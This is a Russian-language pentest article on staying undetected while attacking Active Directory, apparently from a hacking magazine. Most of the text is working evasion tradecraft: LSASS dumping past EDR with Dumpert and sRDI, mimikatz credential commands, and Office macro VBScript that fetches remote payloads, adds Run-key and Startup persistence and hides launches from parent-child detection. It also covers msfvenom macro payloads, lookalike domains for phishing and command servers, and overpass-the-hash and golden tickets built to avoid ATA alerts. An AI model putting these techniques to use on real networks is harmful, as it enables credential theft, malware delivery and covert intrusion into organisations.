Все пентестеры знают, что любая атака реализуется в несколько этапов. Мы успешно провели разведку, повысили привилегии, продвинулись, куда только захотели, и в итоге сумели захватить всю сеть. Но вот проблема: нас засекли и отрезали от сети. Чтобы избежать такого сценария развития событий, пришло время рассмотреть методы защиты от обнаружения при атаке на Active Directory.
Другие статьи на тему пентеста Active Directory
- Взлом и защита Active Directory
- Техника Lateral Movement при атаке на домен
- Захват Active Directory на виртуальной машине с HackTheBox
- Поиск учетных записей и служб в сетях Windows без привилегий
Защита от сканеров памяти
Каждое действие в системе так или иначе регистрируются, и абсолютно полностью скрыться от опытного сисадмина никогда не получится. Но можно максимально замаскироваться. Большинство команд Red Team или пентестеров при атаке на домен используют PowerShell. Причем он стал настолько популярен, что появились целые фреймворки, к примеру Empire и PowerSploit. Помимо этого, скрипты PowerShell можно обфусцировать с помощью инструмента Invoke-Obfuscation. В ответ на появление всех этих инструментов сторона защиты разработала методы их обнаружения, такие как выявление странных родительских-дочерних связей, подозрительные аргументы командной строки и даже различные способы деобфускации PowerShell.
Одно из самых передовых средств для атак на домены Windows с возможностью скрытия активности — Cobalt Strike, в частности использование модуля execute-assembly. Есть возможность выполнять близкие к PowerShell-скриптам программы, написанные на C#. К примеру, собранный на C# get-users, который дублирует функции модуля Get-NetUser из пакета PowerView. В данном примере у контроллера домена запрашиваются свойства SAMAccountName, UserGivenName и UserSurname для каждой учетной записи.
Давай посмотрим, что происходит в это время на целевой машине. Сделать это можно с помощью ProcMon.
Процесс powershell.exe содержит нагрузку Cobalt Strike, а процесс rundll32.exe используется для загрузки и выполнения get-users. Стоит сказать, что powershell.exe является родителем rundll32.exe только потому, что нагрузка Cobalt Strike была запущена из-под PowerShell.
Но нагрузку Cobalt Strike можно запускать из-под любого процесса, при этом также имеется возможность мигрировать в разные процессы. Кроме того, некоторые функции Cobalt Strike выгружаются в новые процессы, что позволяет обеспечить стабильную работу этого ПО. Помимо прочего, библиотеки DLL, загруженные в процесс rundll32, включают в себя те, которые необходимы для get-users, например библиотеки LDAP и аутентификацию Kerberos.
Главное преимущество данного модуля заключается в том, что файл никогда не пишется на диск, то есть сборка выполняется строго в памяти. При этом во время анализа памяти большое внимание уделяется функции CreateRemoteThread, благодаря которой вредоносные программы мигрируют в другие процессы и загружаются образы. Модуль execute-assembly загружает пользовательскую сборку при помощи встроенной функции LoadImage, а так как эта функция используется в основном легитимными процессами для загрузки DLL, обнаружить загрузку сборки очень сложно.
Стоит добавить, что PowerShell — не единственный легитимный процесс, использование которого пристально отслеживается стороной защиты. Другие распространенные программы и службы (такие как WMIC или schtasks/at) также подлежат тщательному контролю. Но и функции этих инструментов могут быть воспроизведены в пользовательских сборках .NET. А это значит, что есть возможность их скрытного использования с помощью того же модуля execute-assembly.
Защита от EDR
Endpoint Detection and Response (EDR) — технология обнаружения угроз и реагирования на оконечном оборудовании. EDR постоянно отслеживает и анализирует подозрительную активность и принимает необходимые меры в ответ нее. Так как большинство организаций сосредотачиваются на безопасности сети, то они оставляют без внимания активность на оконечном оборудовании. Являясь одним из основных источников информации для SOC, EDR помогает закрыть эту брешь за счет настройки разных политик, включающих в себя контроль запуска приложений, контроль макросов и скриптов, анализ действий с памятью и многое другое.
Все описанные в статье методы могут перекликаться с темой уклонения от EDR, но именно в этом разделе хотелось бы рассмотреть скрытую работу критического ПО (такого как mimikatz) и доставление первоначальной нагрузки.
Скрытие работы mimikatz
Как правило, почти все EDR обнаруживают использование одного из главных инструментов любого пентестера, редтимщика или злоумышленника, атакующего Windows-системы, — mimikatz. Поэтому использование данного инструмента в чистом виде, когда имеешь дело с серьезными организациями, не имеет никакого смысла.
Как вариант, можно сдампить процесс LSASS, с которым и работает mimikatz для получения важных данных. Но использование ProcDump EDR также обнаружит из-за перехвата соответствующих вызовов API. Таким образом, если отсоединить процесс LSASS от соответствующих API, то его можно незаметно сдампить. Именно так и работает инструмент под названием Dumpert. Благодаря прямым системным вызовам и отсоединению API данный инструмент позволяет сделать укороченный дамп процесса LSASS в обход антивирусных средств и EDR.
И теперь можно использовать mimikatz для извлечения информации из дампа, предварительно указав файл дампа.
1 2 |
mimikatz # securlsa::minidump [путь к дампу] mimikatz # securlsa::logonpasswords |
Этот способ защищает от обнаружения EDR во время дампа, но он оставляет заметные следы, сохраняя файл программы на диске. Как уже было сказано, инъекции кода помогают избежать записи на диск. Но опять же обычные инъекции DLL будут обнаружены EDR, поэтому была разработана техника sRDI и соответствующие инструменты для ее реализации. Подробное описание их использования и принципов работы прилагается к самим инструментам.
Специально для инъекций существует DLL-версия Dumpert. Для ее преобразования будем использовать скрипт ConvertToShellcode.py из пакета sRDI.
1 |
python3 ConvertToShellcode.py Outflank-Dumpert.dll |
Внедрить полученный шелл можно с помощью модуля shinject Cobalt Strike, указав PID процесса.
Но специально для Cobalt Strike на его собственном языке Agressor Script была разработана своя версия Dumpert.
Таким образом, с помощью объединения нескольких средств мы можем достичь скрытой работы при краже учетных данных из LSASS.
Уклонение от правила «родительский-дочерний процесс» в макросах офисных документов
Само популярное средство доставки начальных загрузчиков или полезной нагрузки в АРТ-атаках — макросы в офисных документах. При этом идеи эксплуатации в макросах остаются одними и теми же, усложняется лишь их интерпретация, то есть добавляется обфускация для обхода EDR.
Макросы офисных приложений пишутся на VBScript, который поддерживает много полезных функций и может обеспечить полный доступ к системе. Так, Emotet использует последовательность WinWord → cmd → PowerShell, а группа APT28 использовала макрос, вызывавший certutil для декодирования нагрузки.
Как ни обфусцируй макросы, но приведенные примеры будут обнаружены EDR по паттерну родительский-дочерний процесс, так как cmd, PowerShell или certutil будут вызываться из процесса WinWord, то есть будут его дочерними процессами.
Но есть несколько способов уклониться от подобного шаблона EDR.
1. Уклонение от прямого анализа потомков
Чтобы новые процессы не происходили от WinWord, можно использовать для их запуска WMI. Новый процесс станет дочерним процессом wmiprvse.exe. Сделать это можно с помощью следующего кода.
1 2 |
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute "APPLICATION",Null,"FOLDER",Null,0 |
Также можно загружать и выполнять код прямо внутри процесса WinWord. Для этого используется XMLDOM.
1 2 3 4 5 |
Set xml = CreateObject("Microsoft.XMLDOM") xml.async = False Set xsl = xml xsl.load(“http://ip/payload.xsl”) xml.transformNode xsl |
2. Уклонение за счет запланированных задач
С помощью VBScript можно создавать запланированные задачи. Новый процесс будет запущен от имени svchost.exe. Это удобно и тем, что мы можем запланировать выполнение через несколько дней или недель. Сделать это можно с помощью следующего кода, указав нужную дату.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
Set service = CreateObject("Schedule.Service") Call service.Connect Dim td: Set td = service.NewTask(0) td.RegistrationInfo.Author = "Microsoft Corporation" td.settings.StartWhenAvailable = True td.settings.Hidden = False Dim triggers: Set triggers = td.triggers Dim trigger: Set trigger = triggers.Create(1) Dim startTime: ts = DateAdd("s", 30, Now) startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2) trigger.StartBoundary = startTime trigger.ID = "TimeTriggerId" Dim Action: Set Action = td.Actions.Create(0) Action.Path = "PATH/FOR/APPLICATION" Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3) |
Единственное, что может выдать использование объекта Schedule.Service, — это загрузка taskschd.dll в WinWord.
3. Работа с реестром
С помощью следующего кода VBScript можно работать с реестром.
1 2 |
Set WshShell = CreateObject("WScript.Shell") WshShell.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\key", "value", "REG_SZ" |
Подобным образом можно хранить данные, передавать между нагрузками, а также изменять значения непосредственно из макроса.
4. Создание файлов
Все-таки без записи на диск возможности атакующего весьма ограниченны. Записать нужные данные по определенному пути на диске можно следующим образом.
1 2 3 4 5 |
Path = CreateObject("WScript.Shell").SpecialFolders("Startup") Set objFSO = CreateObject("Scripting.FileSystemObject") Set objFile = objFSO.CreateTextFile(Path & "\SCRIPT.bat", True) objFile.Write "notepad.exe" & vbCrLf objFile.Close |
Раз запись на диск произошла, то нужно максимально замаскировать данное действие. Усложнить анализ можно, используя специальные пути к файлам, ведь нет ничего аномального в том, что процесс WinWord производит запись во временный файл tmp. К примеру, можно выполнить запись по одному из этих путей:
1 2 3 |
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{AE7BBF2F-B65D-4BF4-9FAD-A779AEC41A02}.tmp C:\Users\<user>\AppData\Local\Temp\CVR497F.tmp C:\Users\<user>\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000016.db |
Но можно пойти еще дальше и изменить шаблон Office:
1 |
C:\Users\<user>\AppData\Roaming\Microsoft\Templates\Normal.dotm |
5. Загрузка данных
VBScript можно использовать для загрузки различных данных по сети. Но, если использовать библиотеку XMLHTTP или функцию API URLDownloadToFIleA, процесс WinWord инициирует сетевое соединение (и явно не с сайтом Microsoft), что будет отмечено EDR для SOC. Этого можно избежать при помощи Internet Explorer COM.
1 2 3 4 5 6 7 8 |
Set ie = CreateObject("InternetExplorer.Application") ie.Navigate "https://pastebin.com/raw/payload" State = 0 Do Until State = 4 DoEvents State = ie.readyState Loop Dim payload: payload = ie.Document.Body.innerHTML |
Использование данного метода приведет к вызову браузера из процесса svchost.exe для загрузки данных.
6. Встраивание в макрос
Также существует возможность вставить нагрузку или файл в сам макрос и даже документ, чтобы не загружать его по сети. Тот же Metasploit Framework способен создавать макросы со встроенной нагрузкой.
1 |
msfvenom -p generic/custom PAYLOADFILE=payload_file -a x64 --platform windows -f vba-exe |
Но проблема кроется в том, что новый процесс будет запускаться из-под процесса WinWord. Это легко исправить, а как — мы уже рассмотрели выше.
Стоит отметить, что данные техники вполне применимы по отдельности, но шанс быть обнаруженным станет меньше, если использовать эти методы (или некоторые из них) совместно.
OPSEC
Скрываясь во время атаки, можно обмануть программный продукт, но куда сложнее обмануть человека. Поэтому во время любой атаки стоит думать о своих действиях. Дам несколько вполне очевидных советов.
Внедрение в процессы — обычное дело, но стоит задуматься о том, в какие процессы стоит внедряться. Ведь некоторые процессы пользователь может закрыть за ненадобностью, поэтому стоит выбирать те, что обеспечат более продолжительный жизненный цикл полезной нагрузки. При этом, скорее всего, вызовет подозрение, что блокнот (процесс notepad.exe) обращается к удаленному серверу или выходит в интернет. Поэтому опытный атакующий скорее будет внедряться в службу обновлений или браузер, чье предназначение объясняет необходимость работы с сетью.
Мы уже говорили об использовании PowerShell — иногда оно губительно. Поэтому любой оператор должен очень хорошо знать инструменты, с которыми он работает, ведь можно даже не догадываться, что некоторые нагрузки или команды популярных фреймворков используют PowerShell (к примеру, wmi или psexec_psh в Cobalt Strike).
Еще одна из мер предосторожности — использовать схожие доменные имена, к примеру github.com и githab.com. Такие домены не вызовут подозрения, в отличие от странных наборов символов (встречалось и что-то типа такого: kaWEFwkfbw.com). Этот подход используется как при рассылке фишинговых писем, так и для организации связи с управляющим сервером.
Поддерживать связь между захваченными хостами лучше всего с помощью легитимных для организации служб и программ. Куда безопаснее делать это через используемые в скомпрометированной сети RDP или RAdmin. Для сбора дополнительной информации можно получать скриншоты рабочих столов, а также привлекать микрофоны и камеры, установленные на хостах (правда, данный вид разведки требует много времени и усилий).
Ни в коем случае не следует использовать распространенные модули популярных фреймворков (например, local_admin_search_enum из MSF) — они обнаруживаются всеми видами средств защиты.
Никогда не отключай на захваченных хостах антивирусы, ATP и EDR. Так как большинство этих систем создают оповещение об отключении, это будет очевидным сигналом аномальной работы узла или всей сети.
И, как уже отмечалось, требуется собирать и накапливать все учетные данные, даже имена пользователей без паролей, пароли от документов, хранилищ и почтовых ящиков, и использовать их корреляции между собой.
Защита от обнаружения АТА
Advanced Threat Analytics (ATA) представляет собой платформу для локальной сети, она помогает защитить организацию от многих типов современных целевых компьютерных атак и внутренних угроз. ATA использует собственный механизм сетевого анализа для сбора и валидации трафика по нескольким протоколам проверки подлинности, авторизации и сбора информации (Kerberos, DNS, RPC, NTLM и другие).
ATA собирает эти сведения при помощи таких механизмов, как зеркальное отображение портов с контроллеров домена на шлюз ATA или развертывание упрощенного шлюза ATA непосредственно на контроллерах домена. Таким образом, данная технология служит хорошим помощником для SOC, сильно усложняя работу нападающей стороне.
Для уклонения от регистрации атак с помощью АТА первым делом атакующий должен безукоризненно следовать всем пунктам, изложенным в OPSEC. А именно досконально знать техники и инструменты, которыми она пользуется. Это важно, поскольку АТА, в отличие от EDR, работает за счет анализа сетевой активности (прослушивая протоколы) и имеет высокую интеграцию с системными журналами событий, аудита и большим количеством SIEM-систем. То есть выделяет аномалии в действиях пользователей.
Таким образом, нам нужно умело уклоняться от обнаружения на всех этапах атаки, будь то разведка (перечисление компьютеров, пользователей и подобное) или боковое движение (за счет передачи билетов или хешей).
Разведка при атаке на Active Directory
В самом начале, когда у нас есть обычные доменные права пользователя, мы стараемся перечислить домены, компьютеры, учетные записи администраторов и членство в разных группах. К примеру, утилита net.exe использует для сканирования протокол SAMR, на который АТА среагирует событием Reconnaissance using directory services enumeration (разведка с использованием перечисления служб каталогов).
Но если для перечислений применить PowerView, то никаких действий от АТА мы не получим, потому что данный инструмент вместо протокола SAMR использует запросы LDAP, на которые АТА не реагирует.
Еще один вариант избежать детекта с помощью АТА — WMI-запросы. Для этого используется следующий алгоритм.
- Получаем пользователей в домене domain:
1Get-WmiObject -Class Win32_UserAccount -Filter "Domain='domain' AND Disabled='False'" - Получаем группы в домене domain:
1Get-WmiObject -Class win32_group -Filter "Domain='domain'" - Получаем членство в группе администраторов домена domain:
1Get-WmiObject -Class win32_groupUser | Where-Object {($_.GroupComponent -match "Domain Admins") -and ($_.GroupComponent -match "opsdc")}
Если использовать команды Find-LocalAdminAccess (найти машины в домене, где текущий пользователь имеет права локального администратора) или Invoke-UserHunter (для перечисления пользователей), то это будет обнаружено АТА как Reconnaissance using SMB session enumeration (разведка с использованием перечисления сеанса SMB). Однако такую реакцию будут вызывать только запросы к контроллеру домена. Если же на этапе перечислений не обращаться к контроллеру домена, то можно избежать обнаружения с помощью АТА. Эти же команды можно использовать с параметром -ComputerFile, указав список компьютеров (то есть все машины, кроме контроллера домена).
1 |
Invoke-UserHunter -ComputerFile pc_list.txt -Verbose |
Рассмотренные в первой части цикла статей методы сканирования SPN также не отслеживаются с помощью АТА.
Brute force
Часто возникает потребность обеспечить доступ к машине в качестве локального пользователя для получения точки опоры (закрепления). При этом в парольной политике нет ограничения на количество попыток ввода пароля. В этом случае можно использовать перебор по словарю, но это действие будет обнаружено АТА.
Дело в том, что АТА определяет многократное подключение с разными паролями в течение короткого промежутка времени.
Можно избежать обнаружения, если применять технику password spraying (так как мы имеем список пользователей) или устраивать длительные задержки при переборе пароля. Также можно задействовать password spraying, чередуя пароли с задержками. При любом из этих вариантов мы уклоняемся от обнаружения АТА.
Overpass-The-Hash
Допустим, мы получили доступ к хешам NTLM и провели атаку Overpass-the-hash для создания билета Kerberos и доступа к ресурсам или сервисам:
1 |
Invoke-Mimikatz -Command '"sekurlsa::pth /user:[USER] /domain:[DOMAIN] /ntlm:[NTLM хеш] /run:powershell.exe"' |
Но в этом случае мы будем обнаружены АТА. Причем сработают сразу два правила: Encryption downgrade activity и Unusual protocol implementation. При этом в сообщении будет указана причина — понижение уровня шифрования. Разница в шифровании при передаче обычного пароля и при передаче NTLM-хеша видна на следующем изображении.
Куда более схожи между способы авторизации при помощи обычного пароля и с применением AES. Поэтому избежать обнаружения АТА можно, используя ключи AES. Для их извлечения можно задействовать тот же Mimikatz:
1 |
Invoke-Mimikatz -Command '"sekurlsa::ekeys"' -ComputerName [PC Name] |
Теперь можно выполнить Overpass-The-Hash, при этом в качестве ключа AES128 использовать любое значение.
1 |
Invoke-Mimikatz -Command '"sekurlsa::pth /user:[USER] /domain:[DOMAIN] /ase256:[Сдампленный AES256] /ntlm:[NTLM хеш] /aes128:01234567890123456789012345678901 /run:powershell.exe"' |
В таком случае мы успешно выполним Overpath-The-Hash и избежим обнаружения с помощью АТА.
Golden Ticket
Допустим, мы создали «золотой билет» и даже успешно сохранили его в память. Но как только мы обратимся к ресурсу в домене, АТА обнаружит это и классифицирует как событие Encryption downgrade activity. Так как причина события такая же, что и в случае с Overpath-The-Hash, то и решение такое же — ключи AES.
1 |
Invoke-Mimikatz -Command '"kerberos::golden /User:[USER] /domain:[DOMAIN] /sid:[SID] /aes256:[ключ AES256] /id:[ID] /groups:[GROUP] /ptt"' |
Таким образом мы можем сгенерировать золотой билет и в дальнейшем использовать его без риска быть обнаруженным с помощью АТА.
Что не обнаруживается с помощью АТА
Как уже было отмечено, сканирование SPN не подлежит детектированию с помощью АТА, так как нет взаимодействия с контроллером домена. По той же причине не будут обнаружены и атаки на серверы Microsoft SQL Server и базы данных.
При наличии NTLM-хеша учетной записи службы мы можем создать TGS и предоставить его службе для получения доступа (Silver Ticket). Так как при этой операции отсутствует взаимодействие с контроллером домена, АТА не может обнаружить использование Silver Ticket.
Техника повышения привилегий до SYSTEM из группы DnsAdmins не обнаруживается ATA.
При использовании доверительных отношений между доменами по умолчанию используется шифрование RC4, то есть исключается возможность понижения шифрования. Поэтому АТА не обнаруживает использование доверительных отношений (за исключением случаев, когда администраторы в свойствах доверия во всех доменах не включат поддержку AES).
Во всех случаях репликаций с помощью DCSync ты будешь обнаружен и зарегистрирован АТА, кроме одного: когда DCSync выполняется с одного из контроллеров домена. Это легитимная операция между контроллерами домена, и в таких действиях нет никаких аномалий, то есть и реакции АТА не последует.
В этой статье приведены не все техники уклонения от обнаружения. Остальные средства обнаружения и способы их обхода будут рассмотрены в следующих публикациях.
Еще по теме: Лучшие площадки для обучения взлому